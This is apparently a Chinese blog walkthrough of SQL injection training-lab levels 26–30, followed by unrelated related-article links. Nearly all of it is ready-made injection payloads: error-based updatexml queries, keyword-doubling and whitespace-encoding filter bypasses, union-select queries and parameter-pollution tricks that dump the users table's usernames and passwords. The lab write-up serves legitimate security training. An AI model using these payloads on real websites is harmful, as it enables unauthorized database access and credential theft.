Sql注入(靶场)26-30关

ops/2024/12/23 22:19:50/

第二十六关

这关将逻辑运算符,注释符以及空格给过滤了

我们先使用单引号进行闭合

这时我们查看源代码可以看到这一关过滤了很多字符

可以看到这里将or and / -- # 空格等字符都被注释了

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过

因为报错注入空格少,所以这里我们使用报错注入

查询数据库

?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1

查询表名字段名以及字段下的数据

?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1 

?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1

?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1

我们获取到了数据库的数据自此通关

第二十六-a关

这关的闭合方式与26关不同,需要闭合')

?id=1'aandnd'1

我们让页面报错发现页面没有报错只有一个警告

这里我们就不能使用报错注入了,所以我们使用布尔盲注

查看是否可以控制

第二十七关

?id=1

?id=2

可以控制

查看代码是否能直接在MySQL中执行

?id=1'

我们现在找一下他的闭合是什么

我们先试一下--+

发现网站给我们过滤掉了

这时我们试一下 and'1 闭合

页面回显正常说明网站不会过滤 and'1 得到网站是字符型

使用order by排序或者group by分组来猜测表有几个字段

我们猜测它有三列

?id=1' order by 4 and'1

我们发现输入的时候它给我们把空格过滤掉了所以我们使用%09 替换空格

%09 utf-8 可以当空格使用

我们猜测他有四列

?id=1%27%09order%09by%094%09and%271

回显成功

我们猜测它有七列

这时也回显成功,继续试的时候也是这样

发现使用 order by 不管用了,这时我们继续下一步,我们使用联合查询来猜

使用联合查询union select查看回显

?id=9999%27%09uNion%09sElect%091,2,3%09and%09%271

我们查看到 2 回显数据

通过内置表查询数据

(1)使用联合查询查看表的名字

?id=999%27%09uNion%09sElect%091,database(),3%09and%271

表的名字为security

(2)使用联合查询查看security中的所有表名

?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%271

看到security中有四个表我们要查看的表为users

(3)继续使用联合查询查看users的所有字段名

?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),3%09and%271

可以看到表中的名字id,username,password

(4)使用联合查询查看表中的数据

?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09and%271

获得表格中的所有账号密码。

第二十八关

该关卡过滤了注释符空格还过滤了union和select,所以我们可以使用重写绕过

查询数据库

?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0Aand('1

查询表名

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

查字段名

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

查数据

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(id,username,password)%0Afrom%0Ausers%0Aand%0A('1

第二十八-a关

该关卡只过滤union+select其他没有过滤

直接使用联合查询就行

第二十九关

这关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

查询表名,字段名,数据

?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+


http://www.ppmy.cn/ops/144401.html

相关文章

常用的缓存技术都有哪些

在计算机科学和软件开发领域,缓存技术是提高系统性能和响应速度 1. 本地缓存(Local Cache): • 存在于应用程序本地内存中的缓存,用于存储频繁访问的数据,以减少对外部存储(如数据库&#xff09…

vue项目两种路由模式原理和应用

两种模式的区别 路由,让页面url改变,但整个html页面不重新加载,单页面应用,局部刷新页面。 1. hash原理 通过动态锚点技术重写url,如“http://127.0.0.1/#/XXX”,改变#后面的路径,实现切换url…

Android Audio实战——音频流数据dump(十)

在《Android Audio基础——音频链路分析》中已经对音频链路进行了分析,并且也分析了 dump pcm 数据的相关节点,这里我们来看一下 dump pcm 数据的详细代码。 一、上/下音频数据 1、Android.bp 源码位置:/frameworks/av/media/libaudioclient/Android.bp cc_library_shar…

[计算机网络]唐僧的”通关文牒“NAT地址转换

1.NAT:唐僧的通关文牒 在古老的西游记中,唐僧师徒四人历经九九八十一难,终于取得了真经。然而,他们并不是一开始就获得了通关文牒,而是经过了重重考验,最终得到了国王的认可,才顺利通过了各个关…

使用 Elasticsearch 查询和数据同步的实现方法

在开发过程中,将数据从数据库同步到 Elasticsearch (ES) 是常见的需求之一。本文将重点介绍如何通过 Python 脚本将数据库中的数据插入或更新到 Elasticsearch,并基于多字段的唯一性来判断是否执行插入或更新操作。此外,我们还将深入探讨如何…

Firefox 基本设置备忘

Firefox 基本设置备忘 记录一些常用的 Firefox 设置,可以帮助增强浏览体验: 标签页设置: browser.search.openintab: true 在搜索栏中搜索时,在新标签页中打开结果。browser.tabs.loadBookmarksInTabs: true 点击书签时,在新标…

力扣-图论-15【算法学习day.65】

前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向和记录学习过程(例如想要掌握基础用法,该刷哪些题?)我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非…

利用C#程序,实现音乐文件的播放功能(文末附GitHub源代码地址)

目录 一、功能要求 读取MP3文件要求 读取ogg文件要求 二、前期准备步骤 三、代码实现步骤 1、实现“添加音乐” 2、实现“停止音乐” 3、实现”上一曲“ 4、实现“下一曲” 5、实现“播放ogg" 6、listbox1中代码 7、填写showmusic函数 四、全部代码 五、测试…